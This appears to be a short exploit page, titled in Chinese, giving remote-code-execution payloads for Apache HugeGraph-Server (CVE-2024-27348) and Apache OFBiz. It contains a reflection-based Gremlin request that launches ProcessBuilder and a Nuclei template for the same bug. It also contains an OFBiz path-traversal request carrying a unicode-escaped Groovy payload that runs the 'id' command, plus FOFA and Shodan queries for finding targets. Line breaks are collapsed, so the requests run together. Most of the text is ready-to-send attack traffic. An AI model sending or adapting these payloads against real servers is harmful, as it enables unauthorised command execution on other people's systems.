Apache-HugeGraph-Server远程代码执行漏洞

app="HugeGraph-Studio"

POST /gremlin HTTP/1.1Host: {{Hostname}}Content-Type: application/json{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName("java.lang.Thread");java.lang.reflect.Field field = clz.getDeclaredField("name");field.setAccessible(true);field.set(thread, "SL7");Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList("ping", "{{interactsh-url}}");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}

id: CVE-2024-27348info:  name: Apache HugeGraph-Server - Remote Command Execution  author: DhiyaneshDK  severity: high  description: |    Apache HugeGraph-Server is an open-source graph database that provides a scalable and high-performance solution for managing and analyzing large-scale graph data. It is commonly used in Java8 and Java11 environments. However, versions prior to 1.3.0 are vulnerable to a remote command execution (RCE) vulnerability in the gremlin component.  reference:    - http://www.openwall.com/lists/oss-security/2024/04/22/3    - https://hugegraph.apache.org/docs/config/config-authentication/#configure-user-authentication    - https://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9    - https://github.com/Zeyad-Azima/CVE-2024-27348    - https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-27348    - https://nvd.nist.gov/vuln/detail/CVE-2024-27348  classification:    cve-id: CVE-2024-27348    cwe-id: CWE-77    epss-score: 0.00045    epss-percentile: 0.15047  metadata:    verified: true    max-request: 1    shodan-query: title:"HugeGraph"    fofa-query: title="HugeGraph"  tags: cve,cve2024,hugegraph,rce,apachehttp:  - raw:      - |        POST /gremlin HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json        {"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName("java.lang.Thread");java.lang.reflect.Field field = clz.getDeclaredField("name");field.setAccessible(true);field.set(thread, "SL7");Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList("ping", "{{interactsh-url}}");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}    matchers:      - type: dsl        dsl:          - 'contains(interactsh_protocol, "dns")'          - 'contains(header, "application/json")'          - 'contains(body, "inputStream":")'        condition: and

app="Apache_OFBiz"

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1Host: user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0Content-Type: application/x-www-form-urlencodedgroovyProgram=u0074u0068u0072u006fu0077u0020u006eu0065u0077u0020u0045u0078u0063u0065u0070u0074u0069u006fu006eu0028u0027u0069u0064u0027u002eu0065u0078u0065u0063u0075u0074u0065u0028u0029u002eu0074u0065u0078u0074u0029u003b